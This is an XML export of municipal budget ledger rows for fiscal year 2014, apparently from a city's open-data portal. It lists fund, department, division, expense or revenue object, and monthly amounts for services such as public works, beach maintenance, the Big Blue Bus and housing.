<row _id="8343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103427.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103427.0</total></row>
<row _id="8344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="8345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3813.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3813.0</total></row>
<row _id="8347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409150.0</object><object_description>PASSPORT SERV PHOTOS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6600.0</total></row>
<row _id="8348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561111.0</object><object_description>CHRYSALIS EMPLYMNT CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="8349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561113.0</object><object_description>OPCC ACCESS CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7400.0</total></row>
<row _id="8350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>VENICE FAMILY CLINIC-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3986.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3986.0</total></row>
<row _id="8351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-ARTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="8352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-SENIOR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="8353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="8354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>58952.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58952.0</total></row>
<row _id="8355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="8356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUSTODIAL SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>135000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>135000.0</total></row>
<row _id="8357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>330.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>330.0</total></row>
<row _id="8358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12128.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12128.0</total></row>
<row _id="8359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3840.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3840.0</total></row>
<row _id="8360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-28455.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-28455.0</total></row>
<row _id="8361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>184375.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>184375.0</total></row>
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<row _id="8363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1391051.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1391051.0</total></row>
<row _id="8364"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="8365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2639.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2639.0</total></row>
<row _id="8366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>597.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>597.0</total></row>
<row _id="8367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>22000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22000.0</total></row>
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<row _id="8371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>131349.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131349.0</total></row>
<row _id="8372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407202.0</object><object_description>ROSIE'S GIRLS-MATERIALS FEES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-4900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4900.0</total></row>
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<row _id="8377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>408590.0</object><object_description>SA COLLECTIVE BU COSTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>410130.0</object><object_description>OTHER PROF SVCS PROVIDED</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-30000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="8380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>65692.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65692.0</total></row>
<row _id="8381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12717.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12717.0</total></row>
<row _id="8382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4463.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4463.0</total></row>
<row _id="8383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-128000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-128000.0</total></row>
<row _id="8384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577347.0</object><object_description>HUD NRA RESERVE ACCOUNT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="8386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>22055.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22055.0</total></row>
<row _id="8387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533225.0</object><object_description>BLDG/STR MAINT-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>205000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>205000.0</total></row>
<row _id="8388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533227.0</object><object_description>BLDG/STR MAINT-PARK BLDG</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>192200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>192200.0</total></row>
<row _id="8389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9527.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9527.0</total></row>
<row _id="8390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1048843.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1048843.0</total></row>
<row _id="8391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29794.0</total></row>
<row _id="8392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>731.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>731.0</total></row>
<row _id="8393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3500.0</total></row>
<row _id="8394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2755304.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2755304.0</total></row>
<row _id="8395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8001.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8001.0</total></row>
<row _id="8396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4354.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4354.0</total></row>
<row _id="8397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409071.0</object><object_description>ROSIE'S GIRLS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-6932.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6932.0</total></row>
